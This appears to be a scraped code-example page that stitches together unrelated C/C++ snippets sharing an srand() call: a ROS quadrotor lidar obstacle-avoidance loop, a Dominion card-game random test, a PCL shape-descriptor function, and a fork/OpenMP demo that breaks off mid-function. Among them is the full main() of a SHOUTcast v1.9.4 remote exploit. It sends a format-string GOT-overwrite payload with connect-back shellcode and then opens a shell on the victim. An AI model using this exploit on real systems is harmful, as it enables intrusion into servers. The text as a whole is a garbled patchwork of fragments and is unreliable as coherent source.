	x0[1] = -0.3;
	x0[2] = -2.1;
	quad.set_x(x0);
	
	std::vector<Vertex> v(9);
	std::vector<Eigen::Vector3f> n(9);
	buildObstacles(v, n, 1, 1);

	srand(time(NULL));
	ROS_ERROR("STARTING LOOP");

	float radius = quad.radius();

	std::vector<Obstacle3d> obstacle_list;
	while(ros::ok()) {
		ros::spinOnce();

		// Only process the lidar vertices if new data is received from
		// the lidar node, preventing extra computation
		if (new_data) {
			new_data = false;  // Clear data flag to prevent repeated calculations

			// Full 2d points of the laser for split-and-merge
			std::vector<Eigen::Vector2f> full_point_list; //(laser_in.ranges.size());

			// Full list of distances for clustering 
			std::vector<float> range_list; //laser_in.ranges.size());
			
			full_laser_points.points.clear();
			//float theta_rel = M_PI/4.0;
			float theta_rel = laser_in.angle_min;// - quad.est_yaw();
			
			Eigen::Vector2f tmp_point;
			for (int data_index = 0; data_index < laser_in.ranges.size();
					 ++data_index) {
			  if (laser_in.ranges[data_index] <= 3.75)
			  {
  				range_list.push_back(laser_in.ranges[data_index]);
				  
				  tmp_point[0] =  range_list.back()*cos(theta_rel);
  				tmp_point[1] = -range_list.back()*sin(theta_rel);
  				full_point_list.push_back(tmp_point);
  
  				geometry_msgs::Point laser_point;
  				laser_point.x = tmp_point[0];
  				laser_point.y = tmp_point[1];
  				laser_point.z = 0.02;
  				full_laser_points.points.push_back(laser_point);
        }
				theta_rel += laser_in.angle_increment;
			}
      //std:reverse(range_list.begin(), range_list.end());
      //std::reverse(full_laser_points.points.begin(), full_laser_points.points.end());
			// Perform the segmentation algorithm to get the reduced vertex list
			LidarSegment2d lidar_full_points(full_point_list,
																			 range_list,
																			 distance_threshold);
			std::vector<Eigen::Vector2f> lidar_segmented_points =
				lidar_full_points.segmented_points();
			
			MinkowskiSum2d minkowski_points(lidar_segmented_points, radius);
			std::vector<Eigen::Vector2f> minkowski_point_list =
				minkowski_points.ReturnMinkowskiSum();

			// Store the segmented points for rviz visualization
			seg_laser_points.points.clear();
			laser_lines.points.clear();
			mink_points.points.clear();
			mink_lines.points.clear();
			geometry_msgs::Point rviz_point;
			for (int index = 0; index < lidar_segmented_points.size(); ++index) {
				rviz_point.x = lidar_segmented_points[index][0];
				rviz_point.y = lidar_segmented_points[index][1];
				rviz_point.z = 0.05;
				seg_laser_points.points.push_back(rviz_point);
				rviz_point.z = 0.0;
				laser_lines.points.push_back(rviz_point);
			}

			for (int index = 0; index < minkowski_point_list.size(); ++index) {
				rviz_point.x = minkowski_point_list[index][0];
				rviz_point.y = minkowski_point_list[index][1];
				rviz_point.z = 0.05;
				mink_points.points.push_back(rviz_point);
				rviz_point.z = 0.0;
				mink_lines.points.push_back(rviz_point);
			}
			
#ifdef ONBOARD_SENSING
			obstacle_list.clear();
			top_sonar_dist = 2.4 - quad.true_position()[2] - quad.radius();
			bottom_sonar_dist = -quad.true_position()[2] + quad.radius();
			for (int index = 1; index < minkowski_point_list.size(); ++index) {
				// Store segmented lines as obstacles for collision avoidance
				Eigen::Vector3f tr, br, tl, bl;
				tr << minkowski_point_list[index][0],
					    minkowski_point_list[index][1],
					    top_sonar_dist;
				br << minkowski_point_list[index][0],
					    minkowski_point_list[index][1],
					    bottom_sonar_dist;
				tl << minkowski_point_list[index - 1][0],
					    minkowski_point_list[index - 1][1],
    					top_sonar_dist;
				bl << minkowski_point_list[index - 1][0],
					    minkowski_point_list[index - 1][1],
					    bottom_sonar_dist;
				Eigen::Vector3f normal = ((tr - br).cross(bl - br)).normalized();
				Obstacle3d w_a(tr, br, bl, normal);
				Obstacle3d w_b(tr, tl, bl, normal);
				obstacle_list.push_back(w_a);
				obstacle_list.push_back(w_b);
			}

			bottom_sonar_dist += radius;
			top_sonar_dist -= radius;
      // also store the "floor" and "ceiling" as a large obstacles
			Eigen::Vector3f tr; tr <<  50.0, -50.0, bottom_sonar_dist;
			Eigen::Vector3f br; br << -50.0, -50.0, bottom_sonar_dist;
			Eigen::Vector3f tl; tl <<  50.0,  50.0, bottom_sonar_dist;
			Eigen::Vector3f bl; bl << -50.0,  50.0, bottom_sonar_dist;
      Eigen::Vector3f normal;
      normal << 0,0,1;
			Obstacle3d floor_a(tr, br, bl, normal);
			Obstacle3d floor_b(tr, tl, bl, normal);
			obstacle_list.push_back(floor_a);
			obstacle_list.push_back(floor_b);
			tr <<  50.0,  50.0, top_sonar_dist - radius;
			br << -50.0,  50.0, top_sonar_dist - radius;
			tl <<  50.0, -50.0, top_sonar_dist - radius;
			bl << -50.0, -50.0, top_sonar_dist - radius;
      normal << 0,0,-1;
			Obstacle3d ceil_a(tr, br, bl, normal);
			Obstacle3d ceil_b(tr, tl, bl, normal);
			obstacle_list.push_back(ceil_a);
			obstacle_list.push_back(ceil_b);
#endif
			
      // Publish the rviz variables for the lidar
			quad_pub.publish(quad_dummy);
			full_laser_points.header.stamp = ros::Time();
			full_point_pub.publish(full_laser_points);
			seg_laser_points.header.stamp = ros::Time();
			seg_point_pub.publish(seg_laser_points);
			laser_lines.header.stamp = ros::Time();
			line_pub.publish(laser_lines);
			mink_point_pub.publish(mink_points);
			mink_line_pub.publish(mink_lines);
		}

#ifndef ONBOARD_SENSING
	  obstacle_list.clear();
		Eigen::VectorXf p = quad.true_position();
		for (int i = 0; i < 5; ++i) {
			Eigen::Vector3f noise = quad.sensing_noise();
			Eigen::Vector3f tr = v[i].tr -p + quad.sensing_noise();
			Eigen::Vector3f br = v[i].br -p + quad.sensing_noise();
			Eigen::Vector3f tl = v[i].tl -p + quad.sensing_noise();
			Eigen::Vector3f bl = v[i].bl -p + quad.sensing_noise();
			Obstacle3d w_a(tr, br, bl);
			Obstacle3d w_b(bl, tl, tr);
			obstacle_list.push_back(w_a);
			obstacle_list.push_back(w_b);
		}
#endif
		
		Eigen::Vector4f u_curr(u_goal[0], u_goal[1], u_goal[2], yaw_input);
		//Eigen::Vector4f u_curr(0.0, 0.0, 0.0, 0.0);
		nh.getParam("/pca_on", pca_enabled);
		quad.AvoidCollisions(u_curr, obstacle_list, pca_enabled);
		quad.ApplyInput();

		// Visualization trajectories
		geometry_msgs::Point tmp_point;
		std::vector<Eigen::Vector3f> init_trajectory = quad.InitialDesiredTrajectory();
		initial_trajectory_lines.points.clear();
		for (int i = 0; i < init_trajectory.size(); ++i) {
			tmp_point.x = init_trajectory[i][0];
			tmp_point.y = init_trajectory[i][1];
			tmp_point.z = init_trajectory[i][2];
			initial_trajectory_lines.points.push_back(tmp_point);
		}
		initial_trajectory_lines.header.stamp = ros::Time();
		init_traj_pub.publish(initial_trajectory_lines);

		std::vector<Eigen::Vector3f> final_trajectory = quad.FinalDesiredTrajectory();
		final_trajectory_lines.points.clear();
		for (int i = 0; i < final_trajectory.size(); ++i) {
			tmp_point.x = final_trajectory[i][0];
			tmp_point.y = final_trajectory[i][1];
			tmp_point.z = final_trajectory[i][2];
			final_trajectory_lines.points.push_back(tmp_point);
		}
		final_trajectory_lines.header.stamp = ros::Time();
		fin_traj_pub.publish(final_trajectory_lines);
			
		Eigen::Vector3f pos_curr = quad.true_position();
		geometry_msgs::Vector3 pos_out;
		pos_out.x = pos_curr[0];
		pos_out.y = pos_curr[1];
		pos_out.z = pos_curr[2];
		pos_pub.publish(pos_out);
		
		Eigen::Quaternionf q_curr = quad.true_quaternion();
		geometry_msgs::Quaternion quat_out;
		quat_out.w = q_curr.w();
		quat_out.x = q_curr.x();
		quat_out.y = q_curr.y();
		quat_out.z = q_curr.z();
		quat_pub.publish(quat_out);
		
		loop_rate.sleep();
	}
	return 0;
}
Esempio n. 10
0
File: utility.c Progetto: marayl/aug
AUGSYS_API void
aug_srand(unsigned seed)
{
    srand(seed);
}
Esempio n. 11
0
int main(){
	int randomPlayer, seed, i, j, numPlayers;
    int runStatus;
    int k[10] = {adventurer, council_room, feast, gardens, mine
               , remodel, smithy, village, baron, great_hall};
    struct gameState G;

	srand(time(NULL));
	for (i = 0; i < 2000; i++)
	{
		seed = (rand()%100) + 1;
		//Pick a random player 0,1,2,3
		randomPlayer = (rand()% 4);
		//Random number of players 2,3,4
		numPlayers = (rand()% 3) + 2;
		if (randomPlayer > numPlayers - 1)
			numPlayers = randomPlayer + 1;
		//Initialize game
		runStatus = initializeGame(numPlayers, k, seed, &G);

		//Check if initialize successful
		assert(runStatus == 0);

		//Set player turn
		G.whoseTurn = randomPlayer;

		//Set random game state
		//Hand count 0-20
		G.handCount[randomPlayer] = (rand() % 21);
		//Deck count 10-100
		G.deckCount[randomPlayer] = (rand() % 91) + 10;
		//Discard count 0-20
		G.discardCount[randomPlayer] = (rand() % 21);
		//Played count 0-20
		G.playedCardCount = (rand() % 21);

		//Sets card to hand, deck, discard pile
		for(j = 0; j < G.handCount[randomPlayer]; j++)
		{
			G.hand[randomPlayer][j] = rand() % 27;
		}
		for(j = 0; j < G.deckCount[randomPlayer]; j++)
		{
			G.deck[randomPlayer][j] = rand() % 27;
		}
		for(j = 0; j < G.discardCount[randomPlayer]; j++)
		{
			G.discard[randomPlayer][j] = rand() % 27;
		}

		//Add a smithy card to be played
		G.hand[randomPlayer][G.handCount[randomPlayer]] = smithy;
		G.handCount[randomPlayer]++;

		//Set defaults for card counts
		int cardCount = G.handCount[randomPlayer];
		int pCardCount = G.playedCardCount;
		int dCardCount = G.discardCount[randomPlayer];
		int coinCount = 0;
		int deCardCount = G.deckCount[randomPlayer];

		//Loop through hand to count how many treasures for coin count
		for(j = 0; j < G.handCount[randomPlayer]; j++){
			if(G.hand[randomPlayer][j] == copper)
				coinCount++;
			else if(G.hand[randomPlayer][j] == silver)
				coinCount+=2;
			else if(G.hand[randomPlayer][j] == gold)
				coinCount+=3;
		}

		//Coin count check
		updateCoins(randomPlayer, &G, 0);
		assert(G.coins == coinCount);

		//Loops through the first 3 cards at the top of the deck for treasure cards
		for(j = G.deckCount[randomPlayer] - 1; j >= G.deckCount[randomPlayer] - 3; j--){
			if(G.deck[randomPlayer][j] == copper)
				coinCount++;
			else if(G.deck[randomPlayer][j] == silver)
				coinCount+=2;
			else if(G.deck[randomPlayer][j] == gold)
				coinCount+=3;
		}

		//Play smithyCard, add one to played pile, add (3-1) cards to hand count, remove 3 from deck count
		smithy_(G.handCount[randomPlayer]-1, &G);
		pCardCount++;
		cardCount+=2;
		deCardCount-=3;

		//Update coin count
		updateCoins(randomPlayer, &G, 0);


		if(G.handCount[randomPlayer] != cardCount)
			printf("randomtestcard.c: FAIL\r\nG.handCount[randomPlayer] == %d\r\nExpected:G.handCount[randomPlayer] == %d\r\n", G.handCount[randomPlayer], cardCount);
		if(G.playedCardCount != pCardCount)
			printf("randomtestcard.c: FAIL\r\nG.playedCardCount == %d\r\nExpected:G.playedCardCount == %d\r\n", G.playedCardCount, pCardCount);
		if(G.discardCount[randomPlayer] != dCardCount)
			printf("randomtestcard.c: FAIL\r\nG.discardCount[randomPlayer] == %d\r\nExpected:G.discardCount[randomPlayer] == %d\r\n", G.discardCount[randomPlayer], dCardCount);
		if(G.deckCount[randomPlayer] != deCardCount)
			printf("randomtestcard.c: FAIL\r\nG.deckCount == %d\r\nExpected:G.deckCount == %d\r\n", G.deckCount[randomPlayer], deCardCount);
		if(G.coins != coinCount)
			printf("randomtestcard.c: FAIL\r\nG.coins == %d\r\nExpected:G.coins == %d\r\n", G.coins, coinCount);

		//printf("All test passed for adventurer card, cardtest1.c\n");
		printf("All other test passed for adventurer card, randomtestadventurer.c, iteration %d\r\n\r\n", i+1);
		printf("--------------------\r\n\r\n");
	}
	return 0;
}
int
main (int argc,char *argv[])
{
        char buf1[512];
        char buf2[512];
        char host[256];
        char pass[256]="changeme";
        char data;








        int  type= 0;
        int c=0;
        int port=8001;
        char devices[256] = "ppp0";
	unsigned char *ptr;

        struct hostent *hp;
        struct sockaddr_in sin_listener;
	struct ifreq ifr;
        struct timeval timeout;

        fd_set fdread;

	int delay	= 12;
        int i           = 0;
	int mode	= 0;
	int local_port	= 0;
        int opt         = 0;
        int ret 	= 0;
	int sin_len 	= sizeof (struct sockaddr_in);
        int sock        = 0;
	int sock2	= 0;
	int sockd	= 0;
        int listener	= 0;
	int time_out	= 4;
	int tmp		= 0;
        
        srand(getpid());
 
        fprintf(stdout,"SHOUTcast v1.9.4 remote exploit by exworm of 0seen\n");
        fprintf(stdout,"--------------------------------------------------(www.oseen.org)\n");

        while((c=getopt(argc,argv,"h:p:a:t:")) !=EOF)
        {
                switch(c)
                {
                        case 'p':
                                port=atoi(optarg);
                                if ((port <= 0) || (port > 65535)) {
                                        fprintf(stderr,"Invalid port.\n\n");
                                        exit(1);
                                }
                                break;
                        case 'a':
                                memset(devices,0x0,sizeof(devices));
                                strncpy(devices,optarg,sizeof(devices) - 1);
                                break;
                        case 't':
                                type = atoi(optarg);
                                if (type == 0 || type > sizeof(targets) / 28) {
                                        for(i = 0; i < sizeof(targets) / 28; i++)
                                        fprintf(stderr, "%02d. %s - %s      [0x%08x - 0x%08x]\n",
                                                i + 1, targets[i].distro, targets[i].type, targets[i].ret, targets[i].eax);
                                        return -1;
                                }
                                break;
                        case 'h':
                                memset(host,0x0,sizeof(host));
                                strncpy(host,optarg,sizeof(host) - 1);
                                break;

                        default:
                                usage(argv[0]);
                                exit(1);
                                break;
                }
        }

        timeout.tv_sec = time_out;
        timeout.tv_usec = 0;




        
        if (strlen(host) == 0) {
                usage(argv[0]);
                exit(1);
        }
        sock=openhost(host, port);

        if (sock==-1) {
                fprintf(stderr,"- Unable to connect.\n\n");
                exit(1);
        }

	strncpy(ifr.ifr_name, devices, 15);

        if ((sockd = socket(AF_INET, SOCK_DGRAM, 17)) < 0) {
                fprintf(stderr, "socket() error.\n");
                return -1;
        }

        if ((listener = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
                fprintf(stderr, "socket() error.\n");
                return -1;
        }
	
	ptr = get_my_ip_addr(sockd, &ifr);
       memcpy(&sin_listener.sin_addr.s_addr, ptr, 4);

        sin_listener.sin_family = AF_INET;
	memset(&sin_listener.sin_zero, 0x00, 8);

        while(1) {
                local_port = local_port = 45295;
                sin_listener.sin_port = htons(local_port);
                if (!bind(listener, (struct sockaddr *) &sin_listener, sin_len)) break;
        }



	listen(listener, 1);
        fprintf(stdout, "[+] lisntener...\n");
 
        linux_connect_back[129] = (unsigned int) *(ptr + 0);
        linux_connect_back[130] = (unsigned int) *(ptr + 1);
        linux_connect_back[131] = (unsigned int) *(ptr + 2);
        linux_connect_back[132] = (unsigned int) *(ptr + 3);
        


      char req[1024] = "GET /content/DD"
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"

"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
      
     strcat(req, "DD.mp3 HTTP/1.0\r\n\r\n");

      char req1[1024] = "GET /content/AA"
      /* sprintf GOT addr */
      "\x3c\x49\x06\x08\x3d\x49\x06\x08\x3e\x49\x06\x08\x3f\x49\x06\x08";




      
      strcat(req1, linux_connect_back);
      strcat(req1, ".mp3 HTTP/1.0\r\n\r\n");
      
      char *req2 = "GET /content/%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      "AAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAAAAAAAAAAAA"
      "AAAAAAAAAAAAAAA-%n-"
      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n.mp3"
      " /HTTP/1.0\r\n\r\n";
      

      printf("[*] Sending first request ...\n");
      write(sock, req1, strlen(req1));
      
      close(sock);
      sock=openhost(host, 8000);
              if (sock==-1) {
                fprintf(stderr,"- Unable to connect.\n\n");
                exit(1);
        }

      printf("[*] Sending second request ...\n");


        while(1) {
                write(sock, req2, strlen(req2));
                sleep(2);
                FD_ZERO(&fdread);
        	FD_SET(listener, &fdread);

	        timeout.tv_sec = time_out;
	        timeout.tv_usec = 0;

	        while(1) {

        	        ret = select(FD_SETSIZE, &fdread, NULL, NULL, &timeout);

	                if (ret < 0) {
	                        close(sock);
        	                close(listener);
	                        fprintf(stderr, "select() error.\n");
        	                return -1;
	                }

                	if (ret == 0) {
				fprintf(stderr, "[+] Failed, waiting %d seconds.\n"
						"[+] Use ctrl-c to abort.\n", delay);
				sleep(delay);
				break;
	                }

        	        if(FD_ISSET(listener, &fdread)) {
				sock2 = accept(listener, (struct sockaddr *)&sin_listener, &sin_len);
				close(sock);
				close(listener);

			        fprintf(stderr, "[+] ownedbyOseen!\n" 
						"-----------------------------------------------------------\n");
	                        shell(sock2);
				close(sock2);
				return 0;
			}
		}

	}

	fprintf(stderr, "[+] Exploit failed.\n");
	close(listener);
	close(sock);
	return 0;

}
Esempio n. 13
0
template <typename PointInT, typename PointOutT> void
pcl::ESFEstimation<PointInT, PointOutT>::computeESF (
    PointCloudIn &pc, std::vector<float> &hist)
{
  const int binsize = 64;
  unsigned int sample_size = 20000;
  srand (static_cast<unsigned int> (time (0)));
  int maxindex = static_cast<int> (pc.points.size ());

  int index1, index2, index3;
  std::vector<float> d2v, d1v, d3v, wt_d3;
  std::vector<int> wt_d2;
  d1v.reserve (sample_size);
  d2v.reserve (sample_size * 3);
  d3v.reserve (sample_size);
  wt_d2.reserve (sample_size * 3);
  wt_d3.reserve (sample_size);

  float h_in[binsize] = {0};
  float h_out[binsize] = {0};
  float h_mix[binsize] = {0};
  float h_mix_ratio[binsize] = {0};

  float h_a3_in[binsize] = {0};
  float h_a3_out[binsize] = {0};
  float h_a3_mix[binsize] = {0};
  float h_d1[binsize] = {0};

  float h_d3_in[binsize] = {0};
  float h_d3_out[binsize] = {0};
  float h_d3_mix[binsize] = {0};

  float ratio=0.0;
  float pih = static_cast<float>(M_PI) / 2.0f;
  float a,b,c,s;
  int th1,th2,th3;
  int vxlcnt = 0;
  int pcnt1,pcnt2,pcnt3;
  for (size_t nn_idx = 0; nn_idx < sample_size; ++nn_idx)
  {
    // get a new random point
    index1 = rand()%maxindex;
    index2 = rand()%maxindex;
    index3 = rand()%maxindex;

    if (index1==index2 || index1 == index3 || index2 == index3)
    {
      nn_idx--;
      continue;
    }

    Eigen::Vector4f p1 = pc.points[index1].getVector4fMap ();
    Eigen::Vector4f p2 = pc.points[index2].getVector4fMap ();
    Eigen::Vector4f p3 = pc.points[index3].getVector4fMap ();

    // A3
    Eigen::Vector4f v21 (p2 - p1);
    Eigen::Vector4f v31 (p3 - p1);
    Eigen::Vector4f v23 (p2 - p3);
    a = v21.norm (); b = v31.norm (); c = v23.norm (); s = (a+b+c) * 0.5f;
    if (s * (s-a) * (s-b) * (s-c) <= 0.001f)
      continue;

    v21.normalize ();
    v31.normalize ();
    v23.normalize ();

    //TODO: .dot gives nan's
    th1 = static_cast<int> (pcl_round (acos (fabs (v21.dot (v31))) / pih * (binsize-1)));
    th2 = static_cast<int> (pcl_round (acos (fabs (v23.dot (v31))) / pih * (binsize-1)));
    th3 = static_cast<int> (pcl_round (acos (fabs (v23.dot (v21))) / pih * (binsize-1)));
    if (th1 < 0 || th1 >= binsize)
    {
      nn_idx--;
      continue;
    }
    if (th2 < 0 || th2 >= binsize)
    {
      nn_idx--;
      continue;
    }
    if (th3 < 0 || th3 >= binsize)
    {
      nn_idx--;
      continue;
    }

    //pcl::PointXYZ cog(((rand()%100)-50.0f) / 100.0f,((rand()%100)-50.0f) / 100.0f,((rand()%100)-50.0f) / 100.0f);
    // D1
    //                      d1v.push_back( pcl::euclideanDistance(cog, pc.points[index1]) );

    // D2
    d2v.push_back (pcl::euclideanDistance (pc.points[index1], pc.points[index2]));
    d2v.push_back (pcl::euclideanDistance (pc.points[index1], pc.points[index3]));
    d2v.push_back (pcl::euclideanDistance (pc.points[index2], pc.points[index3]));

    int vxlcnt_sum = 0;
    int p_cnt = 0;
    // IN, OUT, MIXED, Ratio line tracing, index1->index2
    {
      const int xs = p1[0] < 0.0? static_cast<int>(floor(p1[0])+GRIDSIZE_H): static_cast<int>(ceil(p1[0])+GRIDSIZE_H-1);
      const int ys = p1[1] < 0.0? static_cast<int>(floor(p1[1])+GRIDSIZE_H): static_cast<int>(ceil(p1[1])+GRIDSIZE_H-1);
      const int zs = p1[2] < 0.0? static_cast<int>(floor(p1[2])+GRIDSIZE_H): static_cast<int>(ceil(p1[2])+GRIDSIZE_H-1);
      const int xt = p2[0] < 0.0? static_cast<int>(floor(p2[0])+GRIDSIZE_H): static_cast<int>(ceil(p2[0])+GRIDSIZE_H-1);
      const int yt = p2[1] < 0.0? static_cast<int>(floor(p2[1])+GRIDSIZE_H): static_cast<int>(ceil(p2[1])+GRIDSIZE_H-1);
      const int zt = p2[2] < 0.0? static_cast<int>(floor(p2[2])+GRIDSIZE_H): static_cast<int>(ceil(p2[2])+GRIDSIZE_H-1);
      wt_d2.push_back (this->lci (xs, ys, zs, xt, yt, zt, ratio, vxlcnt, pcnt1));
      if (wt_d2.back () == 2)
        h_mix_ratio[static_cast<int> (pcl_round (ratio * (binsize-1)))]++;
      vxlcnt_sum += vxlcnt;
      p_cnt += pcnt1;
    }
    // IN, OUT, MIXED, Ratio line tracing, index1->index3
    {
      const int xs = p1[0] < 0.0? static_cast<int>(floor(p1[0])+GRIDSIZE_H): static_cast<int>(ceil(p1[0])+GRIDSIZE_H-1);
      const int ys = p1[1] < 0.0? static_cast<int>(floor(p1[1])+GRIDSIZE_H): static_cast<int>(ceil(p1[1])+GRIDSIZE_H-1);
      const int zs = p1[2] < 0.0? static_cast<int>(floor(p1[2])+GRIDSIZE_H): static_cast<int>(ceil(p1[2])+GRIDSIZE_H-1);
      const int xt = p3[0] < 0.0? static_cast<int>(floor(p3[0])+GRIDSIZE_H): static_cast<int>(ceil(p3[0])+GRIDSIZE_H-1);
      const int yt = p3[1] < 0.0? static_cast<int>(floor(p3[1])+GRIDSIZE_H): static_cast<int>(ceil(p3[1])+GRIDSIZE_H-1);
      const int zt = p3[2] < 0.0? static_cast<int>(floor(p3[2])+GRIDSIZE_H): static_cast<int>(ceil(p3[2])+GRIDSIZE_H-1);
      wt_d2.push_back (this->lci (xs, ys, zs, xt, yt, zt, ratio, vxlcnt, pcnt2));
      if (wt_d2.back () == 2)
        h_mix_ratio[static_cast<int>(pcl_round (ratio * (binsize-1)))]++;
      vxlcnt_sum += vxlcnt;
      p_cnt += pcnt2;
    }
    // IN, OUT, MIXED, Ratio line tracing, index2->index3
    {
      const int xs = p2[0] < 0.0? static_cast<int>(floor(p2[0])+GRIDSIZE_H): static_cast<int>(ceil(p2[0])+GRIDSIZE_H-1);
      const int ys = p2[1] < 0.0? static_cast<int>(floor(p2[1])+GRIDSIZE_H): static_cast<int>(ceil(p2[1])+GRIDSIZE_H-1);
      const int zs = p2[2] < 0.0? static_cast<int>(floor(p2[2])+GRIDSIZE_H): static_cast<int>(ceil(p2[2])+GRIDSIZE_H-1);
      const int xt = p3[0] < 0.0? static_cast<int>(floor(p3[0])+GRIDSIZE_H): static_cast<int>(ceil(p3[0])+GRIDSIZE_H-1);
      const int yt = p3[1] < 0.0? static_cast<int>(floor(p3[1])+GRIDSIZE_H): static_cast<int>(ceil(p3[1])+GRIDSIZE_H-1);
      const int zt = p3[2] < 0.0? static_cast<int>(floor(p3[2])+GRIDSIZE_H): static_cast<int>(ceil(p3[2])+GRIDSIZE_H-1);
      wt_d2.push_back (this->lci (xs,ys,zs,xt,yt,zt,ratio,vxlcnt,pcnt3));
      if (wt_d2.back () == 2)
        h_mix_ratio[static_cast<int>(pcl_round(ratio * (binsize-1)))]++;
      vxlcnt_sum += vxlcnt;
      p_cnt += pcnt3;
    }

    // D3 ( herons formula )
    d3v.push_back (sqrtf (sqrtf (s * (s-a) * (s-b) * (s-c))));
    if (vxlcnt_sum <= 21)
    {
      wt_d3.push_back (0);
      h_a3_out[th1] += static_cast<float> (pcnt3) / 32.0f;
      h_a3_out[th2] += static_cast<float> (pcnt1) / 32.0f;
      h_a3_out[th3] += static_cast<float> (pcnt2) / 32.0f;
    }
    else
      if (p_cnt - vxlcnt_sum < 4)
      {
        h_a3_in[th1] += static_cast<float> (pcnt3) / 32.0f;
        h_a3_in[th2] += static_cast<float> (pcnt1) / 32.0f;
        h_a3_in[th3] += static_cast<float> (pcnt2) / 32.0f;
        wt_d3.push_back (1);
      }
      else
      {
        h_a3_mix[th1] += static_cast<float> (pcnt3) / 32.0f;
        h_a3_mix[th2] += static_cast<float> (pcnt1) / 32.0f;
        h_a3_mix[th3] += static_cast<float> (pcnt2) / 32.0f;
        wt_d3.push_back (static_cast<float> (vxlcnt_sum) / static_cast<float> (p_cnt));
      }
  }
  // Normalizing, get max
  float maxd1 = 0;
  float maxd2 = 0;
  float maxd3 = 0;

  for (size_t nn_idx = 0; nn_idx < sample_size; ++nn_idx)
  {
    // get max of Dx
    if (d1v[nn_idx] > maxd1)
      maxd1 = d1v[nn_idx];
    if (d2v[nn_idx] > maxd2)
      maxd2 = d2v[nn_idx];
    if (d2v[sample_size + nn_idx] > maxd2)
      maxd2 = d2v[sample_size + nn_idx];
    if (d2v[sample_size*2 +nn_idx] > maxd2)
      maxd2 = d2v[sample_size*2 +nn_idx];
    if (d3v[nn_idx] > maxd3)
      maxd3 = d3v[nn_idx];
  }

  // Normalize and create histogram
  int index;
  for (size_t nn_idx = 0; nn_idx < sample_size; ++nn_idx)
  {
    h_d1[static_cast<int>(pcl_round (d1v[nn_idx] / maxd1 * (binsize-1)))]++ ;

    if (wt_d3[nn_idx] >= 0.999) // IN
    {
      index = static_cast<int>(pcl_round (d3v[nn_idx] / maxd3 * (binsize-1)));
      if (index >= 0 && index < binsize)
        h_d3_in[index]++;
    }
    else
    {
      if (wt_d3[nn_idx] <= 0.001) // OUT
      {
        index = static_cast<int>(pcl_round (d3v[nn_idx] / maxd3 * (binsize-1)));
        if (index >= 0 && index < binsize)
          h_d3_out[index]++ ;
      }
      else
      {
        index = static_cast<int>(pcl_round (d3v[nn_idx] / maxd3 * (binsize-1)));
        if (index >= 0 && index < binsize)
          h_d3_mix[index]++;
      }
    }
  }
  //normalize and create histogram
  for (size_t nn_idx = 0; nn_idx < d2v.size(); ++nn_idx )
  {
    if (wt_d2[nn_idx] == 0)
      h_in[static_cast<int>(pcl_round (d2v[nn_idx] / maxd2 * (binsize-1)))]++ ;
    if (wt_d2[nn_idx] == 1)
      h_out[static_cast<int>(pcl_round (d2v[nn_idx] / maxd2 * (binsize-1)))]++;
    if (wt_d2[nn_idx] == 2)
      h_mix[static_cast<int>(pcl_round (d2v[nn_idx] / maxd2 * (binsize-1)))]++ ;
  }

  //float weights[10] = {1,  1,  1,  1,  1,  1,  1,  1 , 1 ,  1};
  float weights[10] = {0.5f, 0.5f, 0.5f, 0.5f, 0.5f, 1.0f,  1.0f, 2.0f, 2.0f, 2.0f};

  hist.reserve (binsize * 10);
  for (int i = 0; i < binsize; i++)
    hist.push_back (h_a3_in[i] * weights[0]);
  for (int i = 0; i < binsize; i++)
    hist.push_back (h_a3_out[i] * weights[1]);
  for (int i = 0; i < binsize; i++)
    hist.push_back (h_a3_mix[i] * weights[2]);

  for (int i = 0; i < binsize; i++)
    hist.push_back (h_d3_in[i] * weights[3]);
  for (int i = 0; i < binsize; i++)
    hist.push_back (h_d3_out[i] * weights[4]);
  for (int i = 0; i < binsize; i++)
    hist.push_back (h_d3_mix[i] * weights[5]);

  for (int i = 0; i < binsize; i++)
    hist.push_back (h_in[i]*0.5f * weights[6]);
  for (int i = 0; i < binsize; i++)
    hist.push_back (h_out[i] * weights[7]);
  for (int i = 0; i < binsize; i++)
    hist.push_back (h_mix[i] * weights[8]);
  for (int i = 0; i < binsize; i++)
    hist.push_back (h_mix_ratio[i]*0.5f * weights[9]);

  float sm = 0;
  for (size_t i = 0; i < hist.size (); i++)
    sm += hist[i];

  for (size_t i = 0; i < hist.size (); i++)
    hist[i] /= sm;
}
Esempio n. 14
0
int main()
{
    pid_t childpid; /* variable to store the child's pid */
    int retval;     /* child process: user-provided return code */
    int status;     /* parent process: child's exit status */
    int err;

    /* only 1 int variable is needed because each process would have its
       own instance of the variable
       here, 2 int variables are used for clarity */
        
    /* now create new process */
    childpid = fork();
    char *numaan, pid[6];
    numaan=(char* )(100*sizeof(char));
    
    if (childpid >= 0) /* fork succeeded */
    {
		if (childpid == 0) /* fork() returns 0 to the child process */ 
		{
            printf("CHILD: I am the child process!\n");
            printf("CHILD: Here's my PID: %d\n", getpid());
            printf("CHILD: My parent's PID is: %d\n", getppid());
            printf("CHILD: The value of my copy of childpid is: %d\n", childpid);
            /**
             * */
             
             char* aff=getenv("OMP_NUM_THREADS");
			 char str[2];
			 int N=100000000;
		     int M=1000000000;

			double* A;
			A  = (double*)malloc(M *sizeof(double) );
			srand ( time(NULL) );
			printf("OMP2: Here's my PID: %d\n", getpid());
				#pragma omp master
				{	
				int cpu, node;
				cpu= sched_getcpu();
	
				//	#pragma omp for
				for (int i = 0; i < M; i++) {
				A[i] = 3.1416;
				}
				printf ("end of initialization  %d %s %d  \n",omp_get_num_threads(), aff, cpu );
			}	
			//scanf ("%79s",str);  
			printf ("all set\n");
  
			#pragma omp parallel 
			{
				if (omp_get_thread_num( )!=0){
